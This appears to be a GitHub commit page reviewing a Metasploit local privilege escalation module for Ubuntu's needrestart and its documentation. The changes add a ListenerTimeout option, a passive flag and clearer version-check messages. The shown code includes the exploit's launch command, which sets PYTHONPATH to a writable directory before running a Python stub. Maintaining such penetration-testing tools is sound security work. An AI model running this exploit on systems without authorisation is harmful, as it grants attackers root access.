Skip to content

Commit 437c9fc

Browse files
committed
review of ubuntu_needrestart_lpe
1 parent 6911e52 commit 437c9fc

File tree

2 files changed

+11
-6
lines changed

2 files changed

+11
-6
lines changed

documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,7 +10,7 @@ Exploitation against vulnerable needrestart versions on
1010
Debian 12 and Fedora 39 were unsuccessful
1111
however install and run instructions are listed below.
1212

13-
### Debian
13+
### Debian
1414

1515
Install: `apt-get install needrestart=3.6-4+deb12u1`
1616

@@ -36,6 +36,10 @@ Binary location: `/usr/sbin/needrestart`
3636

3737
## Options
3838

39+
### ListenerTimeout
40+
41+
The maximum number of seconds to wait for session. Defaults to `90,000` which is 25hrs.
42+
3943
## Scenarios
4044

4145
### Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1

modules/exploits/linux/local/ubuntu_needrestart_lpe.rb

Lines changed: 6 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -36,7 +36,8 @@ def initialize(info = {})
3636
],
3737
'Platform' => [ 'linux' ],
3838
'Arch' => [ ARCH_X86, ARCH_X64 ],
39-
'Stance' => Msf::Exploit::Stance::Passive, # seems to not work...
39+
'Stance' => Msf::Exploit::Stance::Passive,
40+
'Passive' => true,
4041
'SessionTypes' => [ 'shell', 'meterpreter' ],
4142
'Targets' => [[ 'Auto', {} ]],
4243
'Privileged' => true,
@@ -55,7 +56,8 @@ def initialize(info = {})
5556
)
5657
)
5758
register_advanced_options [
58-
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ])
59+
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),
60+
OptInt.new('ListenerTimeout', [ true, 'The maximum number of seconds to wait for session', 90_000 ]) # 25hrs
5961
]
6062
end
6163

@@ -105,7 +107,7 @@ def check
105107

106108
return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version]
107109

108-
CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}")
110+
CheckCode::Safe("needrestart version #{package} is not vulnerable on Ubuntu #{version}")
109111
end
110112

111113
def exploit
@@ -166,9 +168,8 @@ def exploit
166168

167169
# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
168170
# output from the exploit being run, they can optionally see it
169-
timeout = 90_000 # 25 hours
170171
print_status 'Launching exploit, and waiting for needrestart to run...'
171-
output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, timeout
172+
output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, datastore['ListenerTimeout']
172173
output.each_line { |line| vprint_status line.chomp }
173174
end
174175
end

0 commit comments

Comments
 (0)